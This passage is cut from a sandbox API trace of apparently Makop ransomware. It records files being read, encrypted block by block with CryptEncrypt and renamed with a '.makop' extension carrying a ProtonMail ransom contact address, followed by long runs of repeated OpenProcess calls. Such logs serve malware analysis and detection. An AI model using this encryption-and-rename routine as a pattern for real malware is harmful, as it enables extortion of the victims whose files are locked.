lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa4*=0x30, lpOverlapped=0x0) returned 1 [0089.786] WriteFile (in: hFile=0xf0, lpBuffer=0x6577aac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577aac*, lpNumberOfBytesWritten=0x6577aa4*=0x4, lpOverlapped=0x0) returned 1 [0089.786] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa4*=0x10, lpOverlapped=0x0) returned 1 [0089.786] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa4*=0x80, lpOverlapped=0x0) returned 1 [0089.787] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0089.787] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa4*=0x8, lpOverlapped=0x0) returned 1 [0089.787] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0089.787] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0089.787] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0089.787] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0089.801] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0089.803] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.803] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0089.805] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4529844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.806] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0089.806] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x170dd2a, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0089.806] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0089.816] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0089.819] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x170dd2a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.819] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0089.821] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4529844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.821] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0089.822] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x44e9780, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0089.822] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0089.829] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0089.832] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x44e9780, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.832] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0089.834] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4529844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.834] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0089.834] CryptDestroyKey (hKey=0x48c7128) returned 1 [0089.834] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4529844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.835] SetEndOfFile (hFile=0xf0) returned 1 [0089.844] GetProcessHeap () returned 0x48a0000 [0089.844] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0089.844] GetProcessHeap () returned 0x48a0000 [0089.844] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0089.844] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 113 [0089.845] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0089.846] CloseHandle (hObject=0xf0) returned 1 [0089.846] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4293d00, ftCreationTime.dwHighDateTime=0x1cbc468, ftLastAccessTime.dwLowDateTime=0xd77dddc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa4293d00, ftLastWriteTime.dwHighDateTime=0x1cbc468, nFileSizeHigh=0x0, nFileSizeLow=0x135f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoshext.dll", cAlternateFileName="")) returned 1 [0089.847] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0089.847] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0089.847] GetLastError () returned 0x20 [0089.847] GetProcessHeap () returned 0x48a0000 [0089.847] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x100000) returned 0x6780020 [0089.848] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x6780020, Length=0x100000, ResultLength=0x0 | out: SystemInformation=0x6780020, ResultLength=0x0) returned 0x0 [0090.081] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.081] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.081] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.082] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.082] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.082] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.082] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.082] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.083] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.083] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.083] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.084] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.084] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.084] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.084] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.084] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.085] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.085] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.085] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.085] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.086] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.086] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.086] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.086] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.087] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.087] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.087] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.088] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.088] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.088] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.088] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.089] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.089] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.089] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.089] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.090] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.090] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.090] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.090] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.091] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.091] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.091] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.091] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.091] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.092] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.092] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.092] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.092] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.092] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.093] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.093] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.093] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.093] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.094] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.094] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.094] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.094] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.095] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.095] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.095] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.095] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.096] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.096] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.096] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.096] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.097] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.097] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.097] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.097] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.098] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.098] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.098] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.098] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.099] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.099] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.099] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.099] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.099] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.100] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.100] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.100] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.100] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.101] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.101] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.101] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.101] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.102] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.102] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.102] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.104] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.104] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.104] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.104] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.105] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.105] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.105] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.105] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.106] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.106] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.106] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.106] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.107] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.107] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.107] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.107] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.108] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.108] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.108] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.108] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.109] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.109] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.109] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.109] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.110] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.110] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.110] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.110] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.110] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.111] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.111] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.111] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.111] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.112] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.112] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.112] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.112] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.113] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.113] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.113] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.113] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.113] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.114] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.114] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.114] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.115] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.115] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.115] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.115] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.115] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.116] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.116] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.116] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.116] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.117] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.117] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.117] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.117] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.118] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.118] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.118] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.119] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.119] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.119] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.119] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.120] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.120] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.120] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.120] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.121] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.121] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.121] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.121] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.121] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.122] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.122] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.122] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.122] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.123] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.123] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.123] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.123] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.124] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.124] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.124] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.124] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.124] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.125] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.125] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.125] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.125] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0090.126] OpenProcess (dwDesiredAccess=0x40, 